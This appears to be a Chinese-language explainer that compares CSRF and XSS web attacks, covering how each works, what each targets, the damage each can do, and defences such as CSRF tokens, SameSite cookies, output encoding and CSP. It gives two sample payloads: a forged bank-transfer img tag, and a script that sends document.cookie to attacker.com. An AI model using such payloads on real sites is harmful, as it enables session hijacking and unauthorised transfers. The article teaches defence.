乐闻世界logo
搜索文章和话题

CSRF 和 XSS 攻击有什么区别?

2月21日 16:10

CSRF(Cross-Site Request Forgery,跨站请求伪造)和 XSS(Cross-Site Scripting,跨站脚本攻击)是两种常见的 Web 安全漏洞,但它们的攻击原理和防御方式完全不同。

核心区别

1. 攻击原理

CSRF

  • 利用用户已认证的身份
  • 诱导用户向目标网站发送请求
  • 浏览器自动携带 Cookie
  • 不需要注入脚本代码

XSS

  • 在目标网站注入恶意脚本
  • 脚本在受害者浏览器中执行
  • 可以窃取 Cookie、会话令牌
  • 可以执行任意 JavaScript 代码

2. 攻击目标

CSRF

  • 攻击服务器端
  • 利用用户的合法身份
  • 执行非预期的操作(如转账、修改密码)

XSS

  • 攻击客户端
  • 利用网站的漏洞
  • 窃取用户数据或控制用户浏览器

3. 攻击方式

CSRF

  • 通过跨域请求(如 <img><form><iframe>
  • 不需要用户交互(部分情况)
  • 请求看起来来自合法用户

XSS

  • 通过注入脚本代码(如 <script><onerror>
  • 需要用户访问包含恶意代码的页面
  • 脚本在页面上下文中执行

4. 危害范围

CSRF

  • 受限于用户权限
  • 只能执行用户有权限的操作
  • 无法直接读取响应内容

XSS

  • 可以窃取 Cookie、Token
  • 可以读取页面内容
  • 可以执行任意操作
  • 可以传播给其他用户

5. 防御方式

CSRF 防御

  • CSRF Token
  • SameSite Cookie
  • 验证 Referer/Origin
  • 双重提交 Cookie

XSS 防御

  • 输入验证和过滤
  • 输出编码(HTML、JavaScript、URL)
  • Content Security Policy (CSP)
  • HttpOnly Cookie

实际案例

CSRF 攻击示例

html
<!-- 恶意网站 --> <img src="https://bank.com/transfer?to=attacker&amount=1000">

XSS 攻击示例

html
<!-- 恶意评论 --> <script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script>

共同点

  1. 都是跨站攻击
  2. 都利用了浏览器的安全模型
  3. 都需要用户访问恶意内容
  4. 都可以通过安全编码预防

总结

CSRF 是"冒充用户",XSS 是"控制用户"。CSRF 利用用户的合法身份执行操作,XSS 注入脚本控制浏览器。理解两者的区别对于构建安全的 Web 应用至关重要。

标签:CSRFXSS